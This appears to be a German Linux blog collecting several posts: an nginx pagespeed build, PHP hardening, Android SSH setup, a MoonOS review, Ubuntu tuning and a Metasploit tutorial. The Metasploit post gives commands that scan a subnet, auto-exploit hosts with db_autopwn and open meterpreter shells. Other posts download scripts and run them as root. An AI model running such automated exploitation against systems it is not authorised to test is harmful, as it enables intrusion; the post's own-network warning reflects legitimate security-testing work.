nginx + google-pagespeed

ngx_pagespeed

Google hat “pagespeed” für nginx veröffentliche, die nginx Äquivalent vom “mod_pagespeed” für Apache. Dieses Modul kann die Performance von Webseiten optimieren, indem z.B. die zugehörigen Assets (CSS, JavaScript, Bilder) verkleiner bzw. kombiniert werden, um die Ladezeiten zu reduzieren. Dieses Tutorial erklärt wie nginx + pagespeed auf Debian kompiliert/installiert werden kann.

 

Bevor wie starten können müssen wir ggf. einige Pakete nachinstallieren und “deb-src” in der “/etc/apt/sources.list” einfügen / auskommentieren.

apt-get update
apt-get install dpkg-dev build-essential zlib1g-dev libpcre3 libpcre3-dev
cd /usr/src/
apt-get source nginx
apt-get build-dep nginx
cd nginx-*/debian/modules/
git clone https://github.com/pagespeed/ngx_pagespeed.git
cd ngx_pagespeed
wget https://dl.google.com/dl/page-speed/psol/1.7.30.1.tar.gz
tar -xzvf 1.7.30.1.tar.gz
cd /usr/src/nginx-*/
vim debian/rules

# und folgende Zeile in der config (config.status.full: config.env.full config.sub config.guess) hinzufügen …

--add-module=$(MODULESDIR)/ngx_pagespeed \

# anschließend können wir uns ein neues “*.dep”-Paket bauen

dpkg-buildpackage -b
dpkg --install ../nginx-full*.dep

# … check …

nginx -V

z.B.:

root@h1687374> nginx -V
nginx version: nginx/1.5.10
TLS SNI support enabled
configure arguments: –prefix=/etc/nginx –conf-path=/etc/nginx/nginx.conf –error-log-path=/var/log/nginx/error.log –http-client-body-temp-path=/var/lib/nginx/body –http-fastcgi-temp-path=/var/lib/nginx/fastcgi –http-log-path=/var/log/nginx/access.log –http-proxy-temp-path=/var/lib/nginx/proxy –http-scgi-temp-path=/var/lib/nginx/scgi –http-uwsgi-temp-path=/var/lib/nginx/uwsgi –lock-path=/var/lock/nginx.lock –pid-path=/var/run/nginx.pid –with-pcre-jit –with-debug –with-http_addition_module –with-http_auth_request_module –with-http_dav_module –with-http_geoip_module –with-http_gzip_static_module –with-http_image_filter_module –with-http_realip_module –with-http_stub_status_module –with-http_ssl_module –with-http_sub_module –with-http_xslt_module –with-http_spdy_module –with-ipv6 –with-mail –with-mail_ssl_module –with-openssl=/usr/src/nginx-1.5.10/debian/openssl-1.0.1f –add-module=/usr/src/nginx-1.5.10/debian/modules/nginx-auth-pam –add-module=/usr/src/nginx-1.5.10/debian/modules/nginx-echo –add-module=/usr/src/nginx-1.5.10/debian/modules/nginx-upstream-fair –add-module=/usr/src/nginx-1.5.10/debian/modules/nginx-dav-ext-module –add-module=/usr/src/nginx-1.5.10/debian/modules/nginx-cache-purge –add-module=/usr/src/nginx-1.5.10/debian/modules/ngx_pagespeed

vim /etc/nginx/nginx.conf

# … und folgende Zeilen über den vHosts einfügen …

pagespeed on;
pagespeed FileCachePath /var/ngx_pagespeed_cache;
mkdir /var/ngx_pagespeed_cache
chown -R www-data:www-data /var/ngx_pagespeed_cache
/etc/init.d/nginx restart
curl -I -p http://localhost | grep X-Page-Speed
apt-get install memcached

# aktiviere memcache  

vim /etc/default/memcached
/etc/init.d/memcached restart

# optional: Fehleranalyse

tail -f /var/log/nginx/error.log  

 

Beispiel-Seite:

http://moelleken.org

 

Beispiel-Konfig:

https://github.com/voku/CONFIG–nginx—php-fpm—mysql

 

Download: (alternativ kann man auch meine bereis kompilierte Version testen)

http://suckup.de/downloads/nginx-full_1.5.10_i386.deb

http://suckup.de/downloads/nginx-common_1.5.10_all.deb

http://suckup.de/downloads/nginx-1.5.10_all.deb

 

Links:

Google-Pagespeed-Doku: https://developers.google.com/speed/pagespeed/module/config_filters

Google_Pagespeed-HowTo: https://developers.google.com/speed/pagespeed/module/build_ngx_pagespeed_from_source

Filter-Übersicht: http://ngxpagespeed.com/ngx_pagespeed_example/

PHP-Sicherheit erhöhen – Teil 1

 Jeder Server welcher PHP-Skripte verarbeitet, sollte zumindest zwei Sicherheitsschlösser eingebaut haben, so dass man nicht jedem Tür & Tor öffnet. 

 

1.) suPHP oder suexec + fcgid

Wir sollten PHP-Skript nicht alle mit dem selben User-Berechtigungen (z.B. apache) laufen lassen, daher empfiehlt es sich auf kleinen Webservern suPHP und auf Webseiten mit mehr Traffic “Fast CGI” zu installieren. Alternativ kann man PHP mit “PHP-FPM” (FastCGI Process Manager) auch jeweils als eigenständigen Prozess laufen lassen. 

2.) Suhosin

Da einige PHP-Projekte nicht wirklich für Ihre Sicherheit bekannt sind, empfiehlt es sich zudem die “Suhosin” Erweiterung für PHP zu installieren. “Es wurde entworfen, um den Server und die Benutzer vor bekannten und unbekannten Fehlern in PHP-Anwendungen und im PHP-Kern zu schützen.” – Wiki

PS: auf der Webseite -> http://www.dotdeb.org <- findet man einfach zu installierende .deb-Pakete für Debian / Ubuntu in welchen die Suhosin-Erweiterung bereits integriert ist und liegt zudem als “php5-fpm” Version zur Verfügung. ;) 

 

mehr Sicherheit:

- Mod-Security und Apache

- Mod-Spamhaus und Apache

WordPress Sicherheit erhöhen

php.ini / php.net

- www.howtoforge.com | viele gute HowTo’s 

Epic Fail – Bumblebee

Wer ein Notebook mit “NVIDIA® Optimus™ Technologie” besitzt und z.B. Ubuntu installiert hat sollte sich einmal “Bumblebee” anschauen … “Owners of optimus laptops. Install bumblebee, use the nvidia card while gaming, use intel chipset for everything else. Now with autoshutdown for the nvidia card.” – Quelle

 

Mit dem Update auf Version 1.4.32 wurde ein Fehler behoben, welcher bei Ubuntu-Usern “/usr” löscht. daraufhin wurden in den letzten Tagen etliche lustige Kommentare & Bilder zu dem Thema auf github.com gepostet. Hier einige Beispiele …

 

bumblebee-fun1

bumblebee-fun1

bumblebee-fun2

bumblebee-fun2

 

 

 

 

 

 

 

 

 

 

bumblebee-fun3

bumblebee-fun3

bumblebee-fun4

bumblebee-fun4

 

 

 

 

 

 

 

 

 

 

 

bumblebee-fun5

bumblebee-fun5

bumblebee-fun6

bumblebee-fun6

bumblebee-fun7

bumblebee-fun7

Screenshots von Android via shell

Wenn man auf seinem Android beispielsweise einen Kernel mit 24bpp Unterstützung installiert, kann man auch wenn man root-Rechte hat, keine Screenshot via App machen. Um dies zu umgehen kann man die “Android Debug Bridge (adb)” verwenden.

sudo apt-get install ffmpeg
/opt/android-sdk-linux_x86/platform-tools/adb pull /dev/graphics/fb0 fb0
ffmpeg -vframes 1 -vcodec rawvideo -f rawvideo -pix_fmt rgb32 -s 320x480 -i fb0 -f image2 -vcodec png image.png

 

Das gleich Verfahren kann man auch unter Windows anwenden und wer lieber mit einer GUI arbeitet, sollte sich einmal QtADB anschauen. ;)

Ubuntu 11.04 Tweak-Skript

In diesem Blog-Post stelle ich kurz mein kleines Shell-Skript vor, mit dem man sein Ubuntu 11.04 einrichten bzw. optimieren kann. Wenn jemandem noch ein Feature fehlt, kann dies angepasst werden. Zudem habe ich im Quelltext an den meisten Stellen Kommentare hinterlassen, sodass man gleich noch etwas über die shell lernen kann … :-)

Über konstruktive Kritik und / oder Verbesserungen würde ich mich freuen.

Download

 

wget http://suckup.de/ubuntu-11.04-tweak.txt
mv ubuntu-11.04-tweak.txt ubuntu-11.04-tweak
chmod +x ubuntu-11.04-tweak
sudo ./ubuntu-11.04-tweak

 

Funktionen:

- neue Repositories (Quellen) eintragen /  Programme installieren (Java, Flash, Chromium, …)

- Ubuntu / Gnome / Unity anpassen

SSH-Server auf deinem Android (CyanogenMod)

In dem “CyanogenMod” (CM) ist bereits ein SSH-Server eingebaut (Dropbear), dieser ist jedoch standardmäßig abgeschaltet. Hier zeige ich kurz wie du diesen unter Linux / Windows nutzen kannst und dich somit ohne Kabel mit deinem Android (funktioniert nach meinen Tests, nur im lokalen W-Lan) verbinden kannst …  ;-)

 

1.) Android: Vorbereitungen

adb shell

(adb shell)

mkdir /data/dropbear
cd /data/dropbear
dropbearkey -t dss -f dropbear_dss_host_key
dropbearkey -t rsa -f dropbear_rsa_host_key

 

2.1) Linux: Vorbereitungen (Debian / Ubuntu)

2.1.1) Installiere den SSH-Client

sudo aptitude install ssh-client

2.1.2) SSH-Schlüssel generieren

ssh-keygen -t rsa

2.1.3) Übertrage den SSH-Schlüssel (öffentlich / public) zu Android

adb push ~/.ssh/id_rsa.pub /data/dropbear/.ssh/authorized_keys

 

2.2) Windows: Vorbereitungen
PuTTY Download Page

2.2.1) Download “PuTTYgen”

2.2.2) SSH-Schlüssel generieren

Klick auf “Generate” und füge die Zeichenkette, welche du nun im Fenster von puttygen siehst (Beispiel: “ssh-rsa AAAAB3…hclQ==rsa-key-20100227″) in eine Text-Datei auf deinem Desktop ein -> “id_rsa.pub” und speichere (beschütze) deinen “private key”!!!

2.2.3) Übertrage den SSH-Schlüssel (öffentlich / public) zu Android

adb push  C:\Users\[USER]\Desktop\id_rsa.pub /data/dropbear/.ssh/authorized_keys

 

3.) Android: SSH-Server aktivieren

adb shell

(adb shell)

chmod 600 /data/dropbear/.ssh/authorized_keys
echo "/system/xbin/busybox sh" > /data/dropbear/.profile
chmod 755 /data/dropbear /data/dropbear/.ssh
chmod 644 /data/dropbear/dropbear*host_key
chown root.root /data/dropbear/.ssh/authorized_keys
killall dropbear
dropbear -v -s -g

 

4.1) Linux: Verbindung herstellen

-> SSH mit public-key Authentifizierung

 

4.2) Windows: Verbindung herstellen

PuTTY Download Page

4.2.1) Download “putty”

4.2.2) Verbindung zu Android aufbauen

Connection: > “SSH” > “Auth” > wähle deinen gespeicherten “private key” aus …

Session: > gib die IP-Adresse von deinem Android ein und drücke auf Enter

 

 

weitere Infos findest du hier:
Howto: Connect to Device with SSH – CyanogenMod Wiki

MoonOS – Enlightening Freedom

moonOS ist eine auf Ubuntu 10.10 basierende Linux Distribution, in der neusten Version 4 namens “NEAK” wurde “E17″ durch “Gnome” ersetzt. (habe bisher jedoch nur eine 32-Bit Version gefunden)


Wenn man die Live-CD startet, fällt das Design und die geänderte Verzeichnisstruktur als erstes auf, aber dazu kommen wir gleich. :-)

Von Anfang an findet man sich zurecht, was daran liegen könnte, dass es noch immer ein “Ubuntu”-System ist: Auch wenn “Docky” das untere Gnome-Panel ersetzt und ein neues Gnome-Theme (Clearlooks Revamp) installiert wurde.


Was ich persönlich sehr schön finde ist, dass nicht viele Programme Vorinstalliert sind, man jedoch sofort MP3 hören, Video schauen etc. kann. Zudem sind bereits ein paar Programme installiert, welche ich bei Ubuntu ebenfalls nachinstalliert habe: Nautilus Elementary als Dateimanager, Gloobus Preview als Vorschau-Programm für Bilder, Musik und Videos.


MoonOS_Software_Center

MoonOS_Software_Center


MoonOS-Quellen:

deb http://moonos.linuxfreedom.com/moonos neak main upstream
deb-src http://moonos.linuxfreedom.com/moonos neak main upstream

Wie bereits erwähnt wurde die Verzeichnisstruktur angepasst, so dass Neueinsteiger sich besser zurecht finden sollen, zudem kann man die Dateien jedoch auch über die alte Verzeichnisstruktur erreichen. Im Grunde sind die Verzeichnisse wie bei “Mac OS X” angeordnet (z.B.: mount –bind” (ex. mount –bind /usr/bin /System/Excutables).


MoonOS_filesystem

MoonOS_filesystem

MoonOS_filesystem_2

MoonOS_filesystem_2


Außerdem wartet MoonOS mit “AppShell” (Applications Framework) auf, was eine Eigenentwicklung von MoonOS ist, leider jedoch nicht richtig funktioniert: Es gibt momentan nur 3 Programme (Cheese, GIMP & Pidgin), welche dieses Framework nutzten, so dass auch nur diese unter “/AppFiles” angezeigt werden.


Fazit: Ubuntu in grün + der Versuch einige Funktionen von Mac OS X zu integrieren. :-)

Metasploit – Sicherheitsanalyse im Netzwerk


Metasploit

Metasploit


“Das Metasploit-Projekt ist ein freies Open-Source-Projekt zur Computersicherheit, das Informationen über Sicherheitslücken bietet und bei Penetrationstests sowie der Entwicklung von IDS-Signaturen eingesetzt werden kann. Das bekannteste Teilprojekt ist das Metasploit Framework, ein Werkzeug zur Entwicklung und Ausführung von Exploits gegen verteilte Zielrechner. Andere wichtige Teilprojekte sind das Shellcode-Archiv und Forschung im Bereich der IT-Sicherheit.

Wie vergleichbare kommerzielle Lösungen wie CANVAS (von Immunity) oder Core Impact (von Core Security Technology), kann Metasploit von Administratoren eingesetzt werden, um die Schwachstellen von Computersystemen zu prüfen und diese bei Bedarf zu schließen. Andererseits kann es auch missbraucht werden, um in andere Systeme einzubrechen. Während der beschriebene Einsatz durch einen Administrator in seinem eigenen Netzwerk nicht nur legitim, sondern auch legal ist, erfüllt ein Einsatz ohne ausdrückliche Erlaubnis bei Fremdsystemen Tatbestände der Computerkriminalität.” – Wiki


Achtung
Ausdrücklich möchte ich noch einmal darauf hinweisen, dass man dieses Programm nur zur Analyse des eigenen Netzwerkes nutzen darf!


hackingprocess

hackingprocess


Als erstes müssen wir einige Dinge nachinstallieren um “unser eigenes” Netzwerk bzw. die Rechner in diesem auf Exploits zu prüfen und spätestens jetzt bemerkt man, dass ein Patch-Day im Monat ggf. nicht ausreicht, sobald man auf eine globale Exploit-Datenbank zurückgreifen kann ;-)

aptitude install ruby postgres libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby  libreadline-ruby libiconv-ruby libgtk2-ruby libglade2-ruby rubygems libpq-dev libreadline-dev libssl-dev libpq5 ruby-dev
sudo gem install pg


Optional: falls du später Probleme hast, dich mir postgres-SQL zu verbinden
vim /etc/postgresql/8.3/main/postgresql.conf
#ssl = true
sudo /etc/init.d/postgresql restart


… und müssen eine Datenbank-User / Datenbank anlegen.
sudo -s
su postgres
createuser msf_user -P
Enter password for new role: *******
Enter it again: *******
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
createdb --owner=msf_user msf_database


Optional: weitere Infos zu Postgres + Metasploit


Optional: ggf. nach einer neuen Version schauen…


32-Bit:
wget http://www.metasploit.com/releases/framework-3.5.1-linux-i686.run
64-Bit:
wget http://www.metasploit.com/releases/framework-3.5.1-linux-x86_64.run


sudo sh ./framework-3.5.1*
sudo rm -rf /opt/metasploit3/msf3/
sudo svn checkout https://www.metasploit.com/svn/framework3/trunk /opt/metasploit3/msf3/


Optional: für zukünftige Updates
sudo svn update /opt/metasploit3/msf3/


Nun noch schnell das einen Link anlegen …
sudo ln -sf /opt/metasploit3/msf3/msf* /usr/local/bin/


… und verhindern, dass PostgreSQL immer automatisch startet.
update-rc.d -f postgresql remove


Optional: ggf. falls der PC in der Zwischenzeit neu-gestartet wurde, starten wir nun PostgreSQL…


sudo /etc/init.d/postgresql start
… führen eben noch ein Update von Metasploit durch und startet diese anschließend …
sudo msfupdate
sudo msfconsole
*abwarten, kann einen Augenblick dauern*


metasploit

metasploit


msf > db_driver postgresql
msf > db_connect msf_user:[password]@127.0.0.1:5432/msf_database
msf > db_workspace -a meinProjekt
msf > db_nmap 192.168.50.0/24
msf > db_hosts
msf > db_services
msf > db_autopwn -t -p -e
msf > session -i 1
meterpreter >
Wir befinden uns nun in einer Shell auf dem Remote-PC und können verschiedene Befehle ausführen z.B.:
ipconfig
execute
shell
download
upload 
… genauer will ich auf die Shell auch nicht eingehen, denn weitere Infos findet man z.B. hier:


fastandeasyhacking

fastandeasyhacking


Wenn man gerne nun noch eine hübsche grafische Oberfläche hätte, kann man sich diese GUI installieren oder “msfgui” ausprobieren. :-) Um die neue Metasploit-GUI zu nutzen müssen wir jedoch als erstes Java installieren…
sudo add-apt-repository "deb http://archive.canonical.com/ lucid partner"
sudo apt-get update
sudo apt-get install sun-java6-jdk
Ggf. noch einmal nach einer neue Version auf der Webseite schauen – www.fastandeasyhacking.com
Optional: ggf. falls der PC in der Zwischenzeit neu-gestartet wurde, starten wir nun PostgreSQL…
sudo /etc/init.d/postgresql start
sudo msfconsole
*abwarten, kann einen Augenblick dauern*
msf > load xmlrpc
… nun steht in der Konsole ein Passwort (+User), welches gleich in der GUI eingegeben werden muss, also neue Konsole öffnen und anschließend die neue GUI herunterladen.
cd ~/Desktop/
wget http://www.fastandeasyhacking.com/download/armitage122210.tgz
tar xzvf armitage122210.tgz
cd armitage/
./armitage.sh
Nachdem die Software gestartet wurde, müssen wir noch schnell das soeben beschriebene Passwort (+User) und noch den Befehl zum Verbinden mit der Datenbank eintragen …
… anschließend können wir das Netzwerk scannen und ggf. Sicherheitslücken entdecken …


Armitage_start

Armitage_start


Menü:
Hosts -> Clear Hosts
Hosts -> Nmap Scan -> Quick Scan (OS detect)
Services
Services


Auswahl

Auswahl


… genauer will ich auf die GUI auch nicht eingehen, denn weitere Infos findet man z.B. hier:

SpeedUp Ubuntu

1.) Kenne dein System (Hardware)

Am besten ist es den Flaschenhals an seinem System ausfindig zu machen, dafür sollte man wissen wie viel Arbeitsspeicher zur Verfügung steht, CPU Auslastung, Festplattengeschwindigkeit etc. aktuell verbraucht wird. Ggf. kann man auch mit neuer Hardware (z.B. > RAM) das System beschleunigen, dies muss natürlich bei jedem System einzeln geprüft werden.


1.1) Arbeitsspeicher


free -mt


  • total: kompletter physikalischer Speicher ( – ein wenig für den Kernel)
  • use: verwendeter Speicher
  • free: freier Speicher
  • buffers/cache: Speicher der wieder freigegeben werden kann, wenn dieser benötig wird. (Cache)

Somit sollte auch klar sein, dass es GUT ist, wenn der Arbeitsspeicher gut ausgenutzt wird, sollte jedoch “use” – “buffer/cache” zu klein werden oder bereits “Swap” (Auslagerungsspeicher -> meist Festplattenplatz) verbracht wird und somit das System wirklich ausbremst.


1.2) Festplatte


hdparm -t /dev/harddrive


Wenn es ewig dauert bis das System gebootet ist oder Programme starten, sollte man die Lesegeschwindigkeit seiner Festplatte einmal testen und ggf. eine neue Festplatte kaufen. ;-) Dabei sollte die Festplatte nicht unter ~50MB/s sein. Moderne SATA-Festplatten haben im Durchschnitt 100MB/s und bei SSD-Festplatten ist eine Datenraten bis zu ~500 MB/s möglich. (SATA-600).


1.3) CPU


top


Ich hatte das Programm “top” bereits in einem vorherigen Blog-Post beschrieben -> http://suckup.de/blog/2010/11/09/linux-server-analysieren/ <- top zeigt unter anderem die Auslastung der CPU je Programm an.


1.4) Grafikkarte


glxinfo | grep direct


Wenn du Engpässe beim abspielen von Videos oder beim Spielen feststellst, kannst du mit dem vorherigem Befehl feststellen, ob “Direct Rendering” aktiviert ist. Ggf. reicht es aus andere Treiber zu installieren, nach meiner Erfahrung sind die Proprietäten Treiber bei neuen Grafikkarten (ATI & NVIDIA) sehr gut. (http://suckup.de/blog/2010/02/09/lxde-compiz-emerald-awn-ubuntu-howto/) Wer eine alte Grafikkarte hat, kann auch diese 3D-Effekte (Compiz) ausschalten, ggf. andere Treiber installieren und schauen, ob der Desktop dadruch flüssiger läuft.


2.) Lightweight Software

Bevor man in neue Hardware investiert (oder sich diese zu Weihnachten schenken lässt) sollte man einmal “Lightweight Software” ausprobieren, diese bieten zwar ggf. weniger Funktionen, sind dafür aber schneller.


z.B.:
Desktop: Gnome -> LXDE oder Xfce
Browser: Firefox -> Chromium


https://wiki.archlinux.org/index.php/Lightweight_Applications


3.) Speicherplatz

3.1) Filesystem
Achtung
Achtung: Backup nicht vergessen!!!


Als erstes sollte man sich ein wenig mit dem Filesystem beschäfitigen, da ganz nach verwenddung ggf. ein anderes Filesystem verwendet werden sollte.


Zusammenfassung:
XFS: ausgezeichnete Leistung bei großen Dateien, dafür langsamere Geschwindigkeit bei kleinen Dateien (z.B. für ISO’s oder großen Downloads unter /home)


Reiserfs: ausgezeichnete Leistung bei kleinen Dateien (z.B. für viele kleine Dateien unter /var)


Ext3: durchschnittliche Leistung


Ext4: super Gesamtleistung (Leistungsprobleme bei sqlite und anderen Datenbanken)


JFS: gute Gesamtleistung (sehr geringe CPU-Last)


Btrfs: super Gesamtleistung (besser als ext4 ABER ggf. unstable)


3.2) Mount Optionen

/dev/partition /mnt/partition partitiontype option1,option2 0 0


Ein weitere Möglichkeit das Dateisystem zu optimieren, sind die “Mount Optionen”, diese trägst du in der Datei “/etc/fstab” ein. So kann man z.B. durch “relatime” oder “noatime” verhindern, dass die Zugriffszeiten in der Inodetabelle gespeichert werden und so die Festplattenaktivität reduziert werden.



sudo tune2fs -O dir_index /dev/partition


Mit dem vorigem Befehl wird die automatische Indizierung von Ordnerinhalten aktiviert, so dass man schneller aus die Daten zugreifen kann.
(wer ggf. von Ext3 auf Ext4 wechseln möchte kann dies tun: http://suckup.de/blog/2010/02/14/konvertiere-ext3-zu-ext4/)
Sowohl bei Ext3 als auch bei Ext4 wird ein Journal geschrieben, dieses kann man mit der Option “data=writeback” einschränken und somit die Preformance steigern, kann jedoch zu Problemen führen, da die metadata nun “träge” gespeichert werden.


Journal‘ – Langsamster und sicherster Modus. Nicht nur die Metadaten sondern auch die Nutzdaten werden zunächst in das Journal, und dann erst auf die Festplatte geschrieben.
Ordered‘ – Guter Kompromiss aus Sicherheit und Geschwindigkeit (Standard). Die Nutzdaten werden auf die Festplatte geschrieben sobald die Metadaten im Journal abgelegt wurden.
Writeback‘ – Schnell, dafür relativ unsicher. Die Nutzdaten werden sofort auf die Festplatte geschrieben ohne das gewartet wird bis die Metadaten im Journal abgelegt wurden.


tune2fs -o journal_data_writeback /dev/partition


mit dem vorherigem Befehl schreibt man das vorhandene Journal um…


/dev/partition / ext4 errors=remount-ro,noatime,nodiratime,data=writeback,barrier=0,nobh,commit=100,nouser_xattr 0 1


noatime” sagt aus, dass nicht gespeichert wird, wann die Datei angesehen wurde. (man liest eine Datei und gleichzeitig wird auf die Dateien geschrieben) Auch “barrier=0” trägt dazu bei, dass deine Daten unsicherer sind, die Option steigert jedoch die Performance. (so soll die Option einen sehr positiven Einfluss auf die Schreib-Performance von MySQL haben) Die Option “nobh” versucht “associating buffer heads” zu vermeiden und bringt eine kleine Performace verbesserung. Als nächstes kommt die Option “commit=100“, diese Option sagt aus, dass die Daten nur alle 100 Sekunden auf die Festplatte geschrieben werden, dafür verliet man ggf. auch 100 Sekunden bei einem Ausfall (default 5). “nouser_xattr” schaltet einige weitere Optionen vom Dateisystem aus und bringt noch einmal einen kleinen Performanceschub.



XFS -> zur optimierung kann man das Dateisystem mit dem folgedem Kommando anlegen …


mkfs.xfs -l internal,lazy-count=1,size=128m -d agcount=2 /dev/partition


… und die “Mount Option” -> “logbufs=8” in der fstab einfügen. Zudem kann man das gemountete XFS-Filesysteme per “filesystem reorganizer for XFS” Optimieren.


xfs_db -c frag -r /dev/partition


-> stellt den Fragmentationsgrad fest


xfs_fsr /dev/partition


-> defragmentiert die Partition (apt-get install xfsdump)


Die Option “data=writeback” beschleunigt das Dateisystem, kann jedoch zu Datenverlust beim Stromausfall führen. Auch “notail” beschleunigt Reiserfs bewirkt jedoch, dass zirka 5% mehr an Festplattenplatz benötigt wird. Zudem kann man mit dem nächsten Befehl bereits beim erstellen das Dateisystems dieses beschleunigen, indem man das Journal auf eine zweite Partition auslagert.


mkreiserfs –j /dev/hda1 /dev/hdb1



Dieses neue Dateisystem bietet “online Defragmentation”, “Optimierungen für SSDs”, “Snapshots” und viele weitere Sinnvolle Funktionen, wird jedoch momentan noch aktiv entwickelt.


Informationen zum optimieren von SSDs findest du hier -> https://wiki.archlinux.org/index.php/SSD#Tips_for_Maximizing_SSD_Performance


(Im Arch-Linux Wiki habe ich auch noch von der Möglichkeit gelesen “/usr” komplett zu komprimieren (aufs2 + squashfs-tools) da moderne CPUs schneller die Dateien entpacken können als das größere Daten von der Festplatte geladen werden können, leider habe ich diesbezüglich keine Infos zu Ubuntu gefunden.)


4.) CPU

Hier kann man in erster Lienie Overclocking betreiben und somit einiges an Geschwindigkeit herausholen, so habe ich z.B. aus einem “AMD Athlon II X3″ einen “AMD Athlon II X4″ gemacht. (PS: wer Fragen zur Hardware hat, sollte sich einmal das Computerbase-Forum anschauen, habe dort auch meinen neuen PC gemeinsam mit anderen Mitgliedern zusammengestellt -> “http://www.computerbase.de/forum/showthread.php?p=8532713” + Vorlagen für verschiedene Preisklassen http://www.computerbase.de/forum/showthread.php?p=3395405)


Wenn man auf der Software-Seite seine CPU besser nutzen möchte kann man einen optimierten Kernel bauen oder zumindest bei Arch-Linux sein System mit neuen “CFLAGS & CXXFLAGS” neu-kompilieren lassen. (https://wiki.archlinux.org/index.php/Pacbuilder) Falls jemand ein ähliches Programm für Ubuntu kennt, würde ich dies gerne erfahren. :-)


4.1) optimierten Kernel bauen

Download: KernelCheck – .deb


Download: Patch


Install: KernelCheck
dpkg -i *.deb


Starte KernelCheck
-> “custom complication”
-> “normal performance patch”
-> “Configure kernel options manually, auto-configure ALSA options for sound, Optimize the kernel, Install kernel package after complication”
-> “Apply custom path to kernel”


Nachdem die Dateien heruntergeladen und entpackt wurden, bekommst du eine Shell in der du den Patch einspielen musst.


cd linux
cp /home/USER/Desktop/patch-2.6.36-ck2 .
patch < patch-2.6.36-ck2 -p1


Nachdem du das Fenster wieder verlässt kannst du noch einige Optimierungen auswählen:


-> “Processor type and features”



4.2) optimierten Kernel (+ Brain Fuck Scheduler)


… man kann hier natürlich auch auf ppa zurückgreifen (jedoch noch nicht getestet)!


sudo add-apt-repository ppa:chogydan/ppa && sudo apt-get update
sudo apt-get install linux-ck-generic linux-ck-headers-generic


5.) RAM & swap


5.1) Auslagerung von Speicher
swappiness” ist eine Einstellung, welche dem Kernel mitteilt ob der RAM oder der SWAP bevorzugt werden soll. Der Wert der Variablen kann zwischen 0 und 100 liegen. Der Wert 0 bedeutet, dass der Kernel den Auslagerungsspeicher auf der Festplatte (swap) nur dann nutzt, wenn es nicht anders geht. Der Wert 100 bedeutet das genaue Gegenteil. Es wird so früh wie möglich ein unbenutzter Speicherbereich in den Swapspeicher geschoben.


vim /etc/sysctl.conf
vm.swappiness=20
vm.vfs_cache_pressure=50


5.2) Compcache
Compcache, auch als “ramzswap kernel module” bezeichnet erstellt Swap im Arbeitsspeicher und komprimiert diesen. So dass zwar die CPU wieder mehr zu tun hat, wir jedoch mehr Auslagern können, ausserdem hat dies den Vorteil, dass die Lese-/Schreizugriffe auf der Festplatte weiter reduziert werden.



5.3) tmpfs
Einen ählichen Ansatz, wie “Compcache” verfolgt auch “tmpfs” hier werden die Daten jedoch einfach in den Arbeitsspeicher geschrieben, ohne diese zu komprmieren. Wenn man jedoch genügent Speicher übrig hat, kann man so z.B. die “/tmp”-Daten in den Speicher auslagern.
vim /etc/fstab
tmpfs /tmp tmpfs defaults,noatime,nodev,nosuid,mode=1777 0 0
(nach diesem Prinzip kann man auch z.B. den Cache vom ff oder vom Chrome auslagern)


6.) Netzwerk & Internet


6.1) DNS
Ggf. sollte man schauen, ob man nicht einen schnelleren DNS-Server in seiner nähe findet ;-) -> http://suckup.de/blog/2010/02/13/find-a-fast-dns-server/
zumdem sollte man seinen eigenen Hostnamen in die der Datei “/etc/hosts” eintragen.
127.0.0.1 localhost
127.0.1.1 Rechnername
wird zu …
127.0.0.1 localhost Rechnername
127.0.1.1 Rechnername


Wer Spaß hat kann sich auch einen kleinen lokalen DNS-Cache installieren.
sudo apt-get install dnsmasq
vim /etc/dnsmasq.conf
listen-address=127.0.0.1
vim /etc/dhcp3/dhclient.conf
prepend domain-name-servers 127.0.0.1;
z.B.:
#supersede domain-name "suckup.de voku-online.de";
prepend domain-name-servers 127.0.0.1;
request subnet-mask, broadcast-address, time-offset, routers,
domain-name, domain-name-servers, host-name,
netbios-name-servers, netbios-scope;
vim /etc/resolv.conf
z.B.:
search suckup.de
nameserver 127.0.0.1
nameserver 8.8.4.4
vim /etc/resolv.dnsmasq.conf
resolv-file=/etc/resolv.dnsmasq.conf
listen-address=127.0.0.1
vim /etc/resolv.dnsmasq.conf
nameserver 8.8.4.4
vim /etc/resolv.conf
z.B.:
search suckup.de
nameserver 127.0.0.1
sudo /etc/init.d/dnsmasq restart


6.2) SYSCTL

In der Datei “sysctl.conf” kannst du Paramether für dein System einstellen.


wget -c http://www.rubyringtechnologies.com/files/sysctl.conf.txt -O ~/sysctl.conf
sed -i 's/\(net\.core\.hot_list_length\ =\ 256\)/\#\1/' ~/sysctl.conf
cat < ~/sysctl.conf >> /etc/sysctl.conf
sysctl -p


6.3) MTU


Typische MTU-Größen:
Medium MTU in Bytes
Hyperchannel 65535
Token Ring(4)(802.5) 4464
Token Ring(16) 17914
FDDI 4352
Ethernet 1500
Gigabit Ethernet
mit Jumboframes
9000
PPPoE (z. B. DSL) ≤ 1492
SLIP/PPP (low delay) 296
X.25 576
FibreChannel theoretisch unbegrenzt
ISDN 576
DQDB
HIPPI
ATM 4500, s. u.
ARCNET
802.11 2312 (WiFi)

Quelle: http://de.wikipedia.org/wiki/Maximum_Transmission_Unit


ping -Mdo -s 1500 8.8.8.8


-> mit dem vorherigem Befehl kannst du testen welche MTU funktioniert (z.B. 1500)


Konfig-Beispiel:

vim /etc/network/interfaces

iface eth0 inet static
address 192.168.0.1
network 192.168.0.0
gateway 192.168.0.254
netmask 255.255.255.0
mtu 1492


7.) preload, ureadahead etc.

ureadahead ist standardmäßig bereis bei Ubuntu installiert und lädt Programme bereits beim Bootvorgang in den RAM, falls man z.B. preload (apt-get install preload) einsetzten will, sollte man ureadahead deaktivieren, da es die selbe Aufgabe übernimmt. “preload” hat den Vorteil, dass es im Betrieb protokolliert welche Programme wirklich verwendet werden und nur diese bereits beim Boot in den RAM lädt, daher startet das System schneller, die Programm werden jedoch nicht schneller gestartet als mit ureadahead. (persönliche Meinung – nicht auf die Millisekunde gemessen) außerdem verursacht das Programm “preload” immer CPU-Last und verbraucht somit mehr Strom als wie ohne. ;-) Um den Boot-Vorgang näher zu analysieren soll man sich einmal “bootchart” (http://wiki.ubuntuusers.de/bootchart) anschauen.


8.) prelink

